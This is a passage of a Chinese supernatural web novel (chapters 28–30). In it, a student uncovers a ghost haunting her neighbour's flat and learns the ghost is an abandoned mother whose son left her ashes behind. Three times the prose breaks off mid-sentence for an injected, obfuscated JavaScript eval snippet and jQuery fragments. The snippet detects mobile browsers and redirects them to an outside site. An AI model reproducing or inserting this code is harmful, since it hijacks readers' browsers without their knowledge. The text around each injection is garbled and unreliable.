曲通幽瘫在沙发上玩手机,也跟着想起了那些年的事。要说田志国做得也够不错了,青年丧妻之后为了女儿也没再娶,但一个人力量终究有限,田志国忙着奋斗赚钱养家,田欣慧对亲人全部的爱几乎都投射到了陈奶奶身上。现在……
突然间,咚咚的敲门声打断了她的思绪。
曲通幽盯着门,觉得自己已经快要被那个梦和刚才的事搞得敲门PTSD了。
夏璇的声音从卧室传出来:“幽幽啊,去开开门,我正抢直播间红包呢。”
这一次的门外倒是有个正常人了。一个约莫六七十岁的陌生老太太,手里端着个不锈钢盆,笑眯眯看着她。
“丫头,你是小夏的闺女儿吗?我是楼下的邻居,刚炸的麻团,来,吃一个。”老太太友好地跟她打着招呼。
夏璇正好抢完红包从屋里走了出来,接了曲通幽的班跟老太太寒暄起来。
从两人的对话中,曲通幽也知道了这位老太太的身份——她姓姚,正是中午田欣慧说的刚搬来的邻居。
他们家楼下十年前住的是钢铁厂里的一家老工人,后来年纪最大的老太太去世之后,这套房子就空了下来。子女们一年才回来一次,也是这些年房价上涨,他们才把老母亲的房子挂牌卖了出去。
刚买了房子的姚奶奶年轻的时候是纺织厂的工人,后来家里因为拆迁富裕了,可她也远离了年轻时的那些伙伴。姚奶奶的子女们事业有成,又很孝顺。知道母亲年纪大了,越发怀念青春,便买了这套家属院氛围很好的钢铁厂的老房子,希望母亲能在这里找到点青春的回忆。
姚奶奶刚住在这里三天,就把家属院的情况摸了个遍,一个星期就能揣着自家做的各种好吃的满院溜达,曲通幽虽然只是一个月没在家,可她妈已经跟姚奶奶处成了忘年交。
“要我说还是应该买顶层,我年轻的时候就住顶层。采光好,还暖和。可我闺女非说爬楼梯困难,要不是我拦着,她还要给我买一楼。”姚奶奶半真半假地抱怨着,“住四楼还是有点遮挡,我晚上睡觉总觉得凉得很。”
“这是入秋了,你那被子是不是有点薄?我知道院门外有个弹花店,回头你去弹个厚被子。冬天暖气一开,那肯定不冷。”夏璇也道。
姚奶奶来送个麻团,唠了两句嗑就下了楼。可曲爸却一直没有回家。晚上十点的时候夏璇给他打了个电话,挂了电话就打着哈欠说道:“先睡觉吧,你田叔叔遇到了点事,你爹估计得后半夜才能回。”
夏璇快五十岁了,已经到了早睡早起的年纪。十点半一过,屋里就没了声音。曲通幽一个人刷了一会儿手机,眼皮也渐渐耷拉下来。她强撑着按灭了台灯,翻身就睡了过去。
笃笃笃——
半梦半醒中,曲通幽好像听到了弹珠碰撞的声音。
这情况在老房子里很常见。一般是金属钢筋或管道在混凝土板里面涨缩的声响,所以曲通幽一开始也没在意。
可睡梦之中,曲通幽却突然打了个激灵——不对啊,这个弹珠声,好像是从楼下传来的!
她猛地睁开了眼睛,睡意消失得一干二净。
此刻是凌晨两点,她爸应该是还没有回来。在漆黑寂静的房间中,那弹珠声越发清晰可闻。
……不,不对,那不是弹珠声,而是金属一下下叩击防盗门的声音。
老房子不隔音,曲通幽在这栋楼里住了二十年,她能清楚辨认出这声音是从二楼响起来的,先是西户,再是东户,停顿了片刻,然后倏忽到了三楼,开始重复。
她没有听到上楼的脚步声。
敲击声更近了,她甚至能从摩擦声中判断出那敲门的金属一定是圆钝的。当声音移动到四层的时候,她依稀听到了说话的声音。
年长的女声轻声呢喃着:“两个……三个……杀了你们……都要死……”
那声音细微,但清晰。饱含着怨恨和决绝杀意。
曲通幽悄悄从床上爬了起来,手握上金属门把手的时候,她才意识到自己的手心已经出了一层冷汗。
她不敢开灯。因为在黑夜中光源就是在向敌人点明自己的位置。但她也不能就那样躺在床上假装什么事都没有发生。
有过之前一次应对灵异事件的经历,曲通幽很清楚,有的事情不是自己装不知道就不会找上门的。就像是当初她在楼梯间想要考假装看不到糊弄丁健一样,只要她感知到,那东西还是会找过来的。
如果只有她自己也许能采取其他办法,但是现在,她那只是个普通人的妈妈还在屋里睡着,要是她不守在前面,万一那东西进了家门……
她摸黑来到了客厅,静静地把耳朵贴到了门上。同时集中所有注意力在脑海中想象那些像是克金体的字符。让她既欣喜又心惊的是,刻满了字符的手杖果然浮现在脑海中。但是,所有字符都是模糊晦暗的,没有一个像是之前一样亮起来被她所用。
她已经知道用法的两套字符,一个是入梦,一个是火焰。难道说,外面的这东西用两种办法都没办法对付?
正当她内心焦灼的时候,四楼的敲门声已经从西户移动到了东户。因为就在脚下,所以简直就像是在耳边响着一样。她听那像是金属圆扣摩擦铁皮的声音响了三下,突然之间,轻轻的叩击一下子变成了“咚”的一声砸门巨响。
“在这里……在这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432213|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里!杀了你!杀了你们!!”
幽魂一样的女声变得尖锐而暴怒,她高声尖叫着,疯狂地拍打着门扉。让曲通幽怀疑这种老式防盗门为什么还没被砸开。可奇怪的是,尽管声音已经几乎把整栋楼都震塌了,所有住户家中却依然是安安静静的。就连声控灯都没有亮。
这是只有她一个人能听到的声音。
这也是只有她自己一个人才能解决的问题。
曲通幽一手握紧了刚从厨房摸出来的菜刀,另外一只手按着门锁,尽量冷静地分析着面前的局势。
首先,这东西能让她召唤出脑内的字符,肯定是鬼怪没错。而且,从她听到的和感知到的能判断出,那东西对于屋里的人拥有强烈的恶意。
她是从二楼出现的,一户一户敲门过来。这说明她不确定自己要去哪里,或者要找什么,一直到四楼东户,也就是自家楼下新搬来的姚奶奶家门口才突然暴怒,也许,她要找的东西就在那里面。
曲通幽突然想到,白天姚奶奶跟妈妈闲聊的时候,抱怨说自己家里感觉阴冷。
可是,四层的户型和自己家里是一样的,同样拥有朝南的大窗户和大阳台,只差了一层,又怎么会因为遮挡感觉阴冷?
除非是……姚奶奶家里有什么东西,或者她本人带来了什么东西,才吸引了这女鬼上门!
曲通幽思考得太入神,以至于都忽略了楼下的敲门声不知什么时候停了下来。等她回过神来,才发现自己一直贴着一只耳朵的门不知什么时候变得冰凉无比。
“你知道我在这里。”
低沉的、怨恨的女声仿佛耳语一样响起来,犹如一根针直扎进了曲通幽的耳朵里。她惊得猛然后退,仓促间眼睛从猫眼里往外晃了一眼,只看到了一张满是鲜血的鬼脸,鲜血太多了,把带着丝丝白发的头发黏成一缕缕的,粘在暗红色的破棉袄上。
曲通幽闪得太快,没看清那女鬼的长相,只有一双通红突出的眼睛仿佛在视网膜上扎了根。这一刻她的精神紧绷到了极致,脑海中黯淡的手杖突然爆炸开来,一个个字符化作飞灰,只有两个她没见过的符号从脑海中浮现到眼前。
手掌下的铁门上,那种彻骨的冰凉突然消失了。
曲通幽小心翼翼把眼睛凑到猫眼上,想看看女鬼是不是离开了,可还没靠近,就又听到了一阵金属摩擦声。
哗啦啦——吱呀——
先是外面的门,然后是里面的。曲振军小心开门走进来刚到客厅就吓得差点跳起来。
“幽幽?!你怎么回事?在客厅站着也不开灯!”曲振军捂着狂跳的心脏说道。
“……我起来上个厕所,正准备回去呢。爸你刚回来啊?没事吧?”
“没事,你田叔叔有点事耽搁了,解决了就马上去了医院。陈奶奶病情挺稳定的。哦对了,我在三楼那捡到一个篮子,明天你放门岗吧,看是谁家丢的。”
曲振军扬了扬手里的东西,曲通幽的瞳孔却在看清那是什么的时候猛然凝住。
那是个藤编的菜篮子。
看样子,和她白天的时候在楼梯上见到“陈奶奶”的那一个一模一样。
28.028
那个菜篮子终究还是没有人把它拿回去。
曲通幽第二天就把菜篮子放到了家属院门岗,给大爷强调了好几遍这是在9号楼1单元三楼发现的篮子,门岗张大爷还特意写了个小黑板放在门口,可她盯了两天了,那篮子却依然放在门卫室的角落里无人问津。
甚至她偶尔会觉得,就连张大爷也忘了它的存在,就像是那天半夜看到的女鬼一样,只有自己和它在一个次元,其他人都会忽略这里有个菜篮子。
“幽幽啊?你在这是干什么?”
等待已久的声音传过来,曲通幽连忙转身,小跑过去接过了老太太手里的布袋子。欢快说道:“我散步溜达到这的。姚奶奶你这是刚买菜回来?我帮你把东西提回去吧!”
姚奶奶乐得合不拢嘴:“那真是谢谢你了!幽幽真乖啊,奶奶一会儿回去烧小黄鱼,你下来端一碗啊!”
已经在门口等了四十多分钟的曲通幽提着袋子,一边跟姚奶奶套话一边往回家的方向走。
“奶奶你是一个人住在这里吗?”
“是啊,我老伴去年不在了,儿女都工作忙。好在他们也孝顺,每个星期都会来看看我。这不,明天他们就要过来过中秋了。”
“你住在这边还习惯吗?我们这家属院都老了,也不隔音,晚上会不会被吵到?”
“习惯,怎么不习惯?我年轻的时候就在这种大院住着,睡得可好了,就跟回到我以前做纺织女工的时候那样!”
“你搬过来的时候有没有找搬家公司啊?我们这小区周围的搬家公司都不太靠谱,又没电梯,有什么重要的东西一定要小心别磕碰了。”
“哎,我一个老婆子能有什么重要东西。也就我老伴还在的时候的几本相册最重要了,他要是还在,肯定也喜欢这里……”
这已经是曲通幽第三天“偶遇”姚奶奶,就这么一路闲聊着,她的个人情况也被她套了个差不多。
姚奶奶叫姚秀英,年轻时和丈夫都是纺织厂女工,后来厂子倒闭,两人双双下岗。丈夫出门经商打拼,她则是凭借着自己当时在厂里的技术积累被一家私企招揽,到最后以总工程师的身份退休。
家里一儿一女,分别是医生和大学教授。儿女经常来探望她,一家儿孙都很孝顺。
家里不缺钱,但也只是小康之家,家庭关系生活环境都很简单,没有经历过灵异事件购买过灵异物品,住在这里之后也没感觉到阴冷之外的异常。
那么,为什么女鬼会选中她住的屋子?
聊着天,两人已经上了楼,姚奶奶拿出钥匙开了门,热情邀请曲通幽进去。
曲通幽的目的就是到老人家里看看,当然不会拒绝,她放下手里的布袋子,趁姚奶奶进厨房倒水的功夫,她坐在沙发上飞快扫了一遍整栋房子。
三室一厅的布局和她家差不多,但是装修更加复古老派一点。两个卧室都关着门,剩下一个开着门的应该就是姚奶奶自己睡觉的地方。
透过半敞的门,她看到一张铺着花布床单的大床,还有黑褐色的五斗柜。挂着蕾丝防尘罩的电视机……也不知道是不是东西太多了,她总觉得这卧室要比自己家小很多。
正在她探头想看得更清楚点的时候,姚奶奶已经端着盘子出来了。她只好中断了自己的观察,开始有一搭没一搭地跟老太太寒暄。
“我当年在纺织厂的时候……”
曲通幽的手机突然响了起来,她看了一眼,是方君茹的电话。
“幽幽,你今天在家吗?我请了假,想去你们家那边的庙求个平安符。”
曲通幽一拍脑袋,这才想起来放假前方君茹说过3号要来她这边玩的。
她暂时把自己小区的灵异事件放下,稍微收拾了一下准备下午迎接舍友。
方君茹的气色看起来挺不错的。
上次飞蛾事件之后,她好像是想开了什么事情,之前身上一直笼罩的那种紧绷感消失了不少。现在她虽然也一直要打工,可再也没把自己逼得那么紧,赚到的钱也有一部分花在了享受生活上。
“幽幽!”穿着米色风衣的方君茹大老远就朝她挥手,“你们家这片真不错啊!我一路走来都看花眼了。”
“咱们这关系你就别商业互吹了。我们这都快成全市最老旧地段了。”曲通幽接过方君茹手中行李,“走,先放到我家,咱们再去庙里参观。”
“我是说真的。”方君茹的眼神却格外认真,“我四岁的时候,妈妈第一次带我进城。当时我们穷,百货大楼那种地方进都不敢进,我妈就带我在一个小卖部里买了块糖。那是个开在国营厂子里的小店,我看着那些工人,他们分的房子,公家的医务室、幼儿园和澡堂……在很长一段时间,我都告诉自己将来一定要过上那样的日子。”
后来,国营工厂工人的骄傲虽然随着那一阵的下岗潮灰飞烟灭,但对那种生活的向往却化作了一个幼年的美梦,始终停留在方君茹的心里。
曲通幽显然理解这种梦。她不再辩解自己住的这片老城区有多么不方便,而是问起了她今天的行程安排。
“我买了今天晚上的车票去隔壁市玩一天。一会儿去寺庙参拜完就走。就是想找你这个本地人介绍一下,哪个大师最灵验?”
曲通幽沉默片刻,实话实说:“我觉得哪个大师都不灵验。”
他们这紧挨着寺庙的小区都能有恶鬼出没,而和光寺的和尚们甚至没有一点出来驱邪抓鬼的意识,很显然这群和尚就是只搞宗教文化没有真本事的打工人啊!
方君茹想了想:“那哪个大师最帅?我去求他的符也行。”
“……这种选择有什么意义吗?”
“你花的每一分钱都是在为你的未来投票。”方君茹认真解释,“我给长得帅的师父送业绩,以后你每天出入寺庙就能看到更多帅和尚,看我对你多好!”
曲通幽:……
糟糕,好有道理,疯狂心动了!
曲通幽就这么反思着为什么自己早没想到为帅和尚打投,导致自己看了这么多年的歪瓜裂枣,一边领着方君茹进了和光寺。
这确实是个小寺庙。占地面积不到十亩,从大雄宝殿到后院禅房都透着一股精致小气。但方君茹没来过这种地方,所以她一路看得都挺兴致勃勃的。
她求了个运势签,解签结果是小吉,只是还没来得及高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436918|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兴就听到小和尚嘴一秃噜,得知了寺庙解签只有“小吉”“中吉”“大吉”三个结果,于是笑容逐渐消失。
她路过大雄宝殿前的香炉,听到一个卷发妇女跟主持打听过年的时候预约头香的事情,主持笑呵呵摆手说预约了也没用,反正头香都是留给庙里自己人的。
她又准备去实践自己用打投为姐妹的眼睛赚个未来的计划,结果主持胸有成竹掏出手机,给她看一张比一张美颜得失真的照片。
方君茹:“……你们这庙真的靠谱吗?”
曲通幽:“我早说了不靠谱的……你随便逛逛得了,反正真遇到什么事还是得靠自己扛过去,佛祖保心不保命。”
这话倒是一点都没错。
她方君茹从女人出生就要当牛做马一辈子的地方走出来,走进大学校园,走到可以自由出门旅游的和光寺,靠的从来不是谁的保佑。全是自己的不屈奋斗。
她不信命,不认命,所以才能站在这里。虽然她还没有彻底摆脱那些吸血鬼家人,虽然她还背负着鬼怪的阴影,但未来的路想也知道不会有谁替她分担什么。
如果把希望寄托在别人身上,哪怕这个“别人”是佛祖,自己也一定会滋生软弱,从而在某一场战斗中一败涂地的。
方君茹最后还是在佛像前的蒲团上跪下来,认认真真在心里许了个愿。
希望未来的我能继续坚强勇敢,希望无论遇到任何困难都不要让我放弃。
是在求佛,更是在求己。
三叩首,起身。
虽然寺庙不靠谱,可方君茹的心情还是放松了很多。她四处看了看,突然指着一个地方问道:“那边那个佛像,为什么没有头啊?”
曲通幽也看过去,那是在大殿靠后的部分的一尊石像。石像身下骑着白象,衣饰雕刻倒是精致华美,只是脖子上方空空如也,而且看断口,应该不是近些年造成的。
“不知道哎……你不说我都没发现。这是……”
“那是普贤菩萨。”
旁边突然传来一道清冽的男声,两个女生转头看过去,顿时眼前一亮——那是个青年和尚,浓眉凤眼英气逼人,无论长相还是身材都是她们在这和光寺里见到的最符合方君茹打投标准的人。他朝两人微笑着说道:“本寺大雄宝殿里,供奉三世佛、十八罗汉和三大士像,至今已有四百年。只可惜七十多年前遭遇战火,有侵略者在寺内烧杀抢掠,他们撬走了不少佛首,虽然建国后主持一直在寻找,可到现在普贤菩萨的佛首仍然不知去向。”
“那可真是太遗憾了。”方君茹扼腕,“师父你知道得好清楚啊,你在这里呆了多久了?”
“贫僧剃度不过一年。但来这里之前对和光寺仰慕已久,直到今年才得偿所愿。”帅和尚依然笑着说。
“仰慕……这小庙连旁边的怨鬼都看不出来,居然真的有人会特意来这边剃度啊……”曲通幽小声嘀咕着。
她就是低声自言自语,可那和尚的耳朵倒是挺灵,他目光转向曲通幽,依然微笑着:“没有怨气,何来怨鬼?人与鬼都是天生地养之物,若二者互不伤害,吾等又何必要插手?”
……嗯???
29.029
曲通幽被这话说得有点愣,她正想再问那个和尚几句,可对方却被其他人叫走了,似乎是有什么急事,连名字都没来得及跟她们说。
方君茹也急着赶车,拎着自己的行李就先走了。只剩下曲通幽一个人把自己关在卧室里琢磨着。
她不知道那个和尚是不是骗子,但是听他的意思,怎么好像他其实是知道钢铁厂家属院闹鬼的?
而且他说什么“没有怨气”……那女鬼都满口杀杀杀了,怨气堪比某些连续加班一个月的社畜,怎么可能不是怨鬼,对人没有伤害?
还是得搞清楚那个女鬼的身份,不然就算假期过去了,她也不放心让父母住在这里自己去上学。
外面突然传来了一阵喧哗声,过了五六分钟都没有停下来的意思。曲通幽好奇心起,推开门出来看了看。
声音更加清晰了,是从楼道里传来的,她打开防盗门看了眼,发现是楼下姚奶奶家门口正在吵架。
“是,这房子是卖给你了,可我们有东西落在里面了!我们自己的个人物品,总不能不让我们带走吧?”
“那你就要强闯我家?当初卖房的时候你们自己说的,老人都死了,里面家具摆设都不要了。你现在还想要什么?”
“那东西你肯定还留着的!你就让我们进去看看能掉块肉?你当我们是小偷啊?就算你还是大工程师,也不能这么瞧不起人吧?!”
“你们剩的那些东西我早就处理掉了,我这屋里的东西都是自己置办的,而且你们总得告诉我要找什么东西吧?你们……哎哟!”
“老二,你拦着这老婆子,我今天非得把东西找出来不可!”
听着楼下争吵升级,已经进展到肢体冲突,曲通幽顿感不妙。她折回卧室,抄起家伙急匆匆就冲下楼去,还没见到人就大吼一声:“住手!你们一群人欺负一个老太太算什么本事?!”
她身高腿长,右手一根一尺多长的黑色橡胶健身棒,右手一面家里烙饼用的最大的锅盖,就像是一员天外猛将一样骤然加入战场。把双方都惊得一愣。
曲通幽趁这个机会猛地插到拉拉扯扯的两个人中间,左手用锅盖抵着那个想要突门而入的中年男人,右手用健身棒猛地抽到他衣服最厚的大腿和屁股上。
“嗷!”
男人惨叫一声,猛地往后跳了几步。还踩到了自己的一个同伴。曲通幽却并没有就此罢休,她左手擎着锅盖,右手用那弹性十足的健身棒啪啪啪连着打了三下,把周围围着的人都逼退了一圈,这才气势汹汹说道:“你们是谁?想干什么啊?”
姚奶奶刚才被推搡得头发都乱了,这会儿才缓过来一些,她赶紧把曲通幽拽回来,脸色不好道:“他们是之前卖房给我的人,非说有东西落在房子里了,要去我屋里搜。这都什么人啊!”
房子的原主人?那不是……
曲通幽正在回想,就见一个稍微有些面熟的中年男人从后面走了出来。他一脸嫌弃地看着曲通幽:“你是老曲家的闺女吧?你爸爸怎么教你的?长这么大了还一点礼貌都不懂。我在这住了二三十年了,自己的东西落在里面了怎么就不能去找找啊?”
听到这熟悉的尖酸腔调,曲通幽一下子想起了这人是谁。
钢铁厂家属院的房子当初是厂子集资建起来的,最初的一批住户也全都是厂里的工人。大部分人都因为同事关系比较随和好相处,可也有例外。比如她家楼下十年前住着的那户姓牛的人家。
那家里的男人叫牛得顺。听她爸说,工厂还没倒闭的时候,这位牛得顺就是有名的赖子。上班迟到早退偷懒摸鱼,还偷偷拿厂子里的钢铁出去卖。谁要是指责他两句,他能仗着自家的兄弟多闹上门去,可谓人不要脸天下无敌。
因为这人十年前就搬走了,所以她对牛得顺的印象也不深。直到现在重新看到这人撒泼耍赖才想起来这么一号人物。
曲通幽手上的武器没有撤,她依然挡在姚奶奶面前,皮笑肉不笑地说:“牛叔,我这是在帮你啊。这房子虽然原来是你的,可现在已经卖出去了。你要是强行要闯那就是入室抢劫,属于刑事案件,到时候可就不是蹲看守所了,三年五年都能判呢。我不能眼睁睁看着你犯错啊。”
男人脸色变了变,可还是色厉内荏道:“你别拿这一套吓唬我!我又没伤她,也没拿她家里一分钱,还能把我怎么样?倒是你,你这样打我们,我要验伤!我要告你!”
曲通幽手持锅盖冷笑:“验伤行啊,你先找到伤口再说。而且你要不要先去补一下法律常识?我认识一个刑警可以介绍给你,顺便问问聚集寻衅滋事强闯民宅要判几年!”
她说着就调出手机通讯录,把尹修景的头像亮了一圈。
小尹警官这张虎皮还是很能唬人的。在看了那充满了莫得感情的转发官方的朋友圈后,牛得顺一行人迅速退却了。他们连一声狠话都没敢放,就全部撤离了这栋家属楼。只有牛得顺最后不甘心地回头看了一眼这屋子,那眼神里似乎还带着一丝恐惧。
曲通幽有种奇怪的直觉,好像他害怕的并不是小尹警官这张虎皮,而是另外的藏在这里的什么东西。
“姚奶奶,那些人到底是想要什么东西?你当初搬过来的时候是不是误扔了点什么?”
姚奶奶叹了口气:“当时我刚搬来的时候,这屋里只有几件旧家具,都不知道放了多少年了,一碰就散架。我还特意看了看,那柜子床板下面确实是什么都没了,才全叫人给拉走的。结果这些人……哎,我是真想不起来了。”
她看起来不像是在说谎,而且姚奶奶自己和儿女都有钱,也确实没有贪图一点蝇头小利的必要。
可曲通幽却总觉得好像有哪里不太对。她左思右想,还是摸不到头绪,只好先撂下这件事先回了家。
晚上吃饭的时候,她跟父母说起了这件事,父母听着就皱起眉头。
“你也太大胆了,那个牛得顺可是个要钱不要命的。”曲振军训斥道,“你一个姑娘家,那边那么多大男人,要是吃亏了怎么办!”
夏璇也帮腔:“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444408|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是,那家人都不是好相与的,当初他们还住在楼下的时候,门口的纸壳子被人捡走了都要闹上门的。估计是他自己丢了什么东西,才想着去姚奶奶家碰瓷的。不行,我得给老太太说一声,她一个人住在这还是不安全。”
夏璇是个风风火火的性子,说着就放下筷子开门下了楼。只剩下曲通幽举着筷子呆愣愣坐在那,目光都落在空中没了焦距。
她想起来是哪点不对了。
“爸,他们家既然这么爱财,为什么楼下的房子空了十年啊?就算是因为遗产分配问题,租出去也能赚点租金平分啊?”
曲振军皱眉想了一会儿,说道:“这就不知道了。反正他们家就那么一直空着……不过也不是没来过,一年总要来那么两三次的。而且每次都是兄弟们一起来。你这么一说,是挺奇怪的。”
“一年来一次还是两次啊?都是什么时候来?”曲通幽追问着。
“这我哪记得啊。也就最开始那几年,后来就不来了。你这闺女,问这么详细干什么?”
……当然是因为她突然想到一种匪夷所思的可能。一种她在现实中没见过,但是有一次在新闻里看到过的可能……
她没敢把自己的想法说出来,只是在睡觉前,她又翻了翻那本名叫《通用语嬗变考》的书。
这书她在宿舍的时候从方君茹那里看到过,里面记录了很多克金文。后来她觉得自己也许能用到,就也买了一本,这次正好回家也带了回来。
她在上面查到了遇到女鬼的那天晚上自己脑海中新出现的两个陌生字符,这两个字符组合在一起,放在现代的语境中,大概是挽歌的意思。
唱给死者的歌,代表慰藉,代表安息。但,也仅仅只是一种菲薄的愿望,并不能真的把怨魂强行消灭或者超度。
凌晨两点,所有人都陷入了睡梦中。
笃笃笃——笃笃——笃笃笃——
半梦半醒间,曲通幽又听到了前几晚的那敲门声。
这次她早有准备,迅速就清醒过来。摸着黑穿好衣服把提前放在床头的菜刀握在手里,打着手电筒小心走出卧室。
只是刚刚来到客厅,她的脚步就顿在那里。
——家里的双层防盗门,里面的一层门是朝内大开的,只有外面一层格栅铁门关着。楼道内黑漆漆的,也看不清楚外面到底站着什么。
笃——笃——
敲门声还在继续,声控灯却没有亮。
曲通幽咽了咽口水,试探性喊了一句:“陈奶奶?”
单调的敲击声持续着,就像是外面的东西听不到人声一样。
她深吸了一口气,换了个称呼:“福奶奶,是你吧?”
突兀地,敲门声停了。
——果然猜对了。
这个家属院里,估计已经没有多少人记得福奶奶了。曲通幽也是昨天晚上从自己爸爸口中问出来的——福爱花,一个十年前就已经死了的老太太,她才是楼下那间房子的第一任主人,也是牛得顺的亲妈。
30.030
曲通幽对福爱花的印象很淡薄。只记得那是个矮小瑟缩的小老太太,每天穿一身灰扑扑的老式褂子。她不识字,丈夫死得早,和那个年代很多的农村妇女一样整日操劳,只是热热闹闹的大家庭生活中不起眼的一个背景板。
她拉扯大了几个儿子,又一个个替他们带孙子孙女。可却没有得到传统观念中的幸福晚年。牛家的几个儿子都不孝顺,除了去带孙子的时候,她大半时间还是一个人住在那个老旧家属楼里。从生一直到死。
“我问了我爸,您去世之后,牛叔叔他们一家连葬礼都没办。所以也没人知道您葬在了哪里。这之后,就是这房子十年的空置——我觉得很奇怪,像是牛叔那样贪婪——精打细算的人,应该不会干出空置房子的事情,于是我就查了查十年前的房价、房租,还有墓地的价格。”
曲通幽话说一半才想起来,如果门外这鬼真的是福奶奶的话,自己说她亲生儿子的坏话应该也不合适,于是紧急转了话头。末了还竖起耳朵听了听外面的动静。
或许是福爱花也对这几个孩子心凉,外面一点声音也没有,之前那种阴寒之感也没再出现。
于是她继续说道:“十年前,市里的房价还没起来,可当事的公墓价格却已经非常高了。所以我就猜想,也许当时的牛得顺并没有把您的骨灰葬入墓穴中,而是继续留在了这套老房子里。只在每年清明和七月七来看看——其实现在也有人这样做,买下房子作为所谓的骨灰房。但是牛得顺只是为了省钱省事,甚至过了头几年,他连每年来祭拜都懒得来了。一直到了这两年房价上涨,他才动了心思,想办法把房子卖了出去。至于里面亲娘的骨灰——可能是他忘了,也可能是懒得找回来,所以就留在了里面。”
曲通幽想起了白天看到牛得顺的时候,他眼中那一丝深藏的恐惧。
牛得顺既然把这房子卖出去都没把亲娘的骨灰带走,肯定不会是突然想起来自己还有重要东西留在那里想要取走的。可他偏偏还就带着自己的兄弟们回来闹事。只可能是发生了什么事情逼着他回来的。
比如……连自己这个楼上邻居都能遇上夜半敲门,牛得顺这个直系亲属就能幸免于难吗?
鬼敲门、托梦、鬼压床……牛得顺他们一家子不知道经历了多少更恐怖的事件,才这么气势汹汹地讨上门来。
门外依然没有声音。于是曲通幽按着自己事先想好的思路继续说下去:“福奶奶,您也是钢铁厂的老人了。要是您的愿望只是想把自己的骨灰安葬,这不用牛得顺再纠缠,我去联系一下当初的老工人们,咱们那些老同事就能做到。而且我知道一种能让灵魂安息的办法,叫做喊骨来着……”
话音未落,好一阵没动静的门突然再次笃笃笃响了起来。而且比起之前更加激烈。简直就像是疾风暴雨一般。
曲通幽被吓了一跳,她倒退两步,后背贴着墙壁,眼睛死死盯着门外,仿佛又想起了那天晚上从猫眼中惊鸿一瞥看到的充血的眼睛,愤怒、冰冷、充满杀气。
……等等,好像有点不太对。
那天晚上她通过猫眼都能看到外面的女鬼,可是现在里面的防盗门都开着,透过铁栏杆,为什么她什么都看不到?
曲通幽后背离开了墙壁,开始缓慢往门口走。
一步,两步,她右手紧紧握着菜刀,心中默念着那两个代表“挽歌”的字符,把物理驱魔和法术驱魔双重准备都做到位。
她右手勾上了门锁,指尖微凉,但那是金属的正常温度,并没有上一次的那种彻骨冰寒。
咔哒,外面的那层防盗门也被推开了。推门的时候她感觉到有什么东西挡了一下,而且手感依稀有些熟悉……
曲通幽低下头,就跟一双在黑暗中格外幽深的滚圆猫眼对上了。
曲通幽:……
“……帮主?”
体重直奔二十斤的橘猫:“喵!”
“你什么时候来的?是一直在,还是刚到?”
橘猫当然不会回答她的问题,于是曲通幽突然开始疑惑,刚才敲门的到底是女鬼,还是从一开始就是她搞错了,是橘猫在叫门要饭?
她还没想出个结果来,帮主已经一扭身,以一种和体重相当不匹配的敏捷跑了下楼,曲通幽只来得及喊了声“哎”,就已经只能看到橘色的尾巴尖了。
曲通幽是想要就这么回去睡觉的,可在关门之前,她却突然意识到有点不对。
——楼梯间的声控灯,还是黑的。
而且不仅是这一层,整栋楼都是黑漆漆的,看不到一点光亮。手电的光也只能照亮眼前的一点空间,那昏暗的光柱中,还能看到一缕一缕的黑色雾气扭曲着空间。
这里是什么地方?
这里是现实吗?还是说……从她起床开始,自己其实就开始做梦了?
曲通幽一动不动站在楼梯间里,一种难言的恐惧像是这黑雾一样笼在心头。楼下又响起了一声猫叫,这声音并不远,就在……她家的正下方。
她深吸了一口气,继续提着菜刀想着那两个字符,走出门缓慢踏下了楼梯。
橘猫好整以暇地蹲坐在姚奶奶家门口。尾巴尖一下下轻轻点着地面,看她跟了过来,站起来轻盈地伸了个懒腰,然后轻轻一跃,直接穿过两层铁门跳进了姚奶奶的家里。
曲通幽:……
所以果然是梦对吧?!
她也走到了姚奶奶家门口,试探性把指尖伸出去,碰到了冰凉的铁门就被挡住。可是她稍微用了一点力气,那点阻挡突然就消失了,自己的手,一直到肘部,全都毫无障碍地伸了过去。
猫叫声还在里面一声声响着,像是催促。曲通幽咬了咬牙,整个人和刚才的橘猫一样,也无声地穿过铁门走了进去。
房间里和自己白天来的时候没什么不同。家具陈设都正常。只是和楼道里一样,空气中弥漫着一股不太明显的黑雾。一缕一缕像是有生命一样,游弋着追逐她看不到的什么东西
